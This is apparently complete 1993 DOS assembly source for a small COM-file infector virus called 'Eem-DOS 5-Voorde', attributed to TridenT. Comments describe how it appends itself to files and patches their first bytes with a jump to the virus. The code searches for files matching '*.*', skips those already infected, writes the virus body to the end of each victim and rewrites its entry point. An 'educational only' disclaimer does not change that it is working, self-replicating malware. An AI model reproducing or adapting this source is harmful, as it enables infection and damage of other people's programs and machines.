2022-08-21 09:07:57 +00:00
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; The Eem-DOS 5-Voorde Virus
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;
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; Smallest COM file infector which works with te folowing principe:
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;
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; Before:
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; _____________________ ____________
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; [first 3 bytes of file][rest of file]
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;
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; After:
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; ____________ ___________________ _____________________
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; [jmp to virus][rest of file][virus][first 3 bytes of file]
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;
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; This way the virus can restore the first 3 bytes of the file so
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; the file will still work.
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;
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; If you want no registers to change you can add some pushes, but
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; it'll make the virus much larger.....
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;
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; (C)1993 by [D<>RkR<6B>Y] / TridenT
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;
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; BTW This is only a educational source, and this virus should not be
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; spread, you may publish this file in it's original form.
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; If you intend to spread this virus you will take all the responsibilities
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; on youself so the author will not get into trubble.
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; If you do not agree with this, destroy this file now.
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;
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; You can reach me by contacting Byte Hunter. at Hunter BBS (he's the sysop)
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; +31-33-634415, and he'll get you in touch with me...
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;
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_CODE SEGMENT
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ASSUME CS:_CODE
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ORG 100h
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LEN EQU THE_END - VX ; Length of this babe...
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START:
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DB 0E9h,0,0 ; Jmp to virus
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VX:
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CALL RELATIVE ;
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RELATIVE: ; Calculate relative offset
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POP BP ;
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SUB BP,OFFSET RELATIVE ;
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MOV DI,SI ; Make DI = 100h and save
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PUSH DI ; it as return point.
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LEA SI,[BP + OLD_BYTES] ;
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MOV CL,3 ; Restore old first bytes.
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REP MOVSB ;
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MOV DX,SI ; Set DX to filespec.
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DEC AX ; Make AX=-1
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AGAIN: ADD AH,4Fh ;
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INT 21h ; Search for file(s)
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JNC OK_1 ; If non left exit.
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RET ;
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OK_1:
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MOV AH,3Eh ; Close old file, also nice
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INT 21h ; anti-debug trick!!!!
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MOV DI,SI ; Set DI to save old bytes
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SUB DI,3 ;
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CALL OPEN ; Open the victim
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MOV AH,3Fh ; Save first 3 bytes
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CALL IO ;
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CMP BYTE PTR [DI],0E9h ; Is it allready infected?
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JE AGAIN ; If so, find next
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MOV AX,4202h ;
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XOR CX,CX ; Set pointer to end of file
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CWD ;
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INT 21h ;
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SUB AX,3 ;
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ADD DI,8 ; Set jump to virus
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MOV WORD PTR DS:[DI],AX ;
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MOV AH,40h ;
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MOV CL,LEN ; Write virus
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LEA DX,[BP + VX] ;
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INT 21h ;
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CALL OPEN ; Open victim again
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MOV AH,40h ;
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DEC DI ; Write jmp to virus
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CALL IO ;
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RET ; Return to DOS
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IO:
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MOV CL,3 ;
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MOV DX,DI ; Read or write sub
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INT 21h ;
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RET ;
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OPEN:
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MOV AX,3D02h ;
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MOV DX,9Eh ; Open file in PSP for
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INT 21h ; reading/writing
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XCHG BX,AX ;
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RET ;
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OLD_BYTES: NOP ;
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NOP ; Old first bytes of file
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RET ;
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FILE_NAME: DB '*.*',0h ; Infect all files.
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; (and COM files will also
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; be infected....)
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NEW_BYTES DB 0E9h ; Jmp to virus
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THE_END: ; Bye Bye!
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_CODE ENDS
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END START
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